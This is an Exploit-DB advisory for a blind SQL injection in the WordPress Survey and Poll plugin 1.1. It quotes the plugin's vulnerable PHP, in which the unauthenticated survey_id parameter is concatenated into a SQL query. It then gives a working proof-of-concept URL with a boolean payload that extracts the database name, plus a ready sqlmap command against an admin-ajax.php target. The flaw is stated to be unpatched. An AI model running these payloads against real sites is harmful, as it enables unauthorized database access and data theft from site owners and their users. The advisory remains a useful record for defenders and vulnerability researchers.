WordPress Plugin Survey and Poll 1.1 – Blind SQL Injection

  • 作者: Securely (Yoo Hee man)
    日期: 2015-02-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36054/
  • #################################################################
    # Exploit Title : WordPress Survey and poll Blind SQL Injection
    
    # Data : 2015 – 02 - 11
    
    # Exploit Author : Securely (Yoo Hee man)
    
    # Plugin : WordPress Survey and Poll
    
    # Vender Homepage : http://modalsurvey.sympies.com
    
    # Tested On : Windows XP / sqlmap_v1.0
    
    # Software Link : https://downloads.wordpress.org/plugin/wp-survey-and-poll.1.1.zip
    https://downlaods.wordpress.org/plugin/wp-survey-and-poll.zip (latest version v.1.1.7 By February 11, 2015 based on)
    
    1. Detail 
    - This Plugin is passes ajax_survey function as [admin-ajax.php] a form of action and processes them in the /wp-survey-and-poll/settings.php
    - Settings.php file is no login cookie check
    - "survey_id" variable is not sanitized
    
    
    #################################################################
    public function ajax_survey()
    {
    		global $wpdb;
    		$survey_id = "";
    		$survey_name = "";
    		$survey_start_time = "";
    		$survey_expiry_time = "";
    		$survey_global = "";
    		if (isset($_REQUEST['survey_id'])) $survey_id = sanitize_text_field($_REQUEST['survey_id']);
    		else $survey_id = "";
    		if (isset($_REQUEST['survey_name'])) sanitize_text_field($survey_name = $_REQUEST['survey_name']);
    		else $survey_name = "";
    		if (isset($_REQUEST['start_time'])&&(!empty($_REQUEST['start_time']))) $survey_start_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['start_time']));
    		else $survey_start_time = "";
    		if (isset($_REQUEST['expiry_time'])&&(!empty($_REQUEST['expiry_time']))) $survey_expiry_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['expiry_time']));
    		else $survey_expiry_time = "";
    		if (isset($_REQUEST['global_use'])) $survey_global = sanitize_text_field($_REQUEST['global_use']);
    		else $survey_global = "";
    		if (isset($_REQUEST['options'])) $survey_options = sanitize_text_field($_REQUEST['options']);
    		else $survey_options = "";
    		if (isset($_REQUEST['qa'])) $survey_qa = sanitize_text_field($_REQUEST['qa']);
    		else $survey_qa = "";
    		$survey_check = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->prefix."wp_sap_surveys WHERE `id` = ".$survey_id);
    		if ($_REQUEST['sspcmd']=="save")
    		{
    		if ($survey_check>0) {
    		//update survey
    			$wpdb->update( $wpdb->prefix."wp_sap_surveys", array( "options" => $survey_options, "start_time" => $survey_start_time, 'expiry_time' => $survey_expiry_time, 'global' => $survey_global),array('id' => $survey_id));
    			$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_questions WHERE `survey_id` = %d",$survey_id));
    			$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_answers WHERE `survey_id` = %d",$survey_id));
    				$qa_object = (array)json_decode(stripslashes($survey_qa));
    				$qa_array = (array)$qa_object;
    				foreach($qa_array as $keyq=>$qr)
    				{
    					foreach($qr as $key=>$oa)
    					{
    						if ($key==0)
    						{
    						$wpdb->insert( $wpdb->prefix."wp_sap_questions", array( 
    							'id' => ($keyq+1), 
    							'survey_id' => $survey_id, 
    							'question' => $oa
    							) );
    							$qid = $wpdb->insert_id;
    						}
    						else
    						{
    						$oans = explode("->",$oa);
    						$wpdb->insert( $wpdb->prefix."wp_sap_answers", array( 
    							'survey_id' => $survey_id, 
    							'question_id' => ($keyq+1),
    							'answer' => $oans[0],
    							'count' => $oans[1],
    							'autoid' => $key
    							) );					
    						}
    					
    					}
    				}
    			die("updated");
    		}
    		else {
    		//insert survey
    			$wpdb->insert( $wpdb->prefix."wp_sap_surveys", array( 
    				'id' => $survey_id, 
    				'name' => $survey_name, 
    				'options' => $survey_options, 
    				'start_time' => $survey_start_time,
    				'expiry_time'=> $survey_expiry_time,
    				'global'=> $survey_global
    				) );
    				$qa_object = (array)json_decode(stripslashes($survey_qa));
    				$qa_array = (array)$qa_object;
    				foreach($qa_array as $keyq=>$qr)
    				{
    					foreach($qr as $key=>$oa)
    					{
    						if ($key==0)
    						{
    						$wpdb->insert( $wpdb->prefix."wp_sap_questions", array( 
    							'id' => ($keyq+1), 
    							'survey_id' => $survey_id, 
    							'question' => $oa
    							) );
    							$qid = $wpdb->insert_id;
    						}
    						else
    						{
    						$oans = explode("->",$oa);
    						$wpdb->insert( $wpdb->prefix."wp_sap_answers", array( 
    							'survey_id' => $survey_id, 
    							'question_id' => ($keyq+1),
    							'answer' => $oans[0],
    							'autoid' => $key
    							) );					
    						}
    					
    					}
    				}
    			die('success');
    		}
    ################################################################
    
    2. POC
    - http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi]
    - DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]
    
    3. Sqlmap
    - sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql
    
    
    3. Solution:
    Not patched
    
    4. Discovered By : Securely(Yoo Hee man)
     god2zuzu@naver.com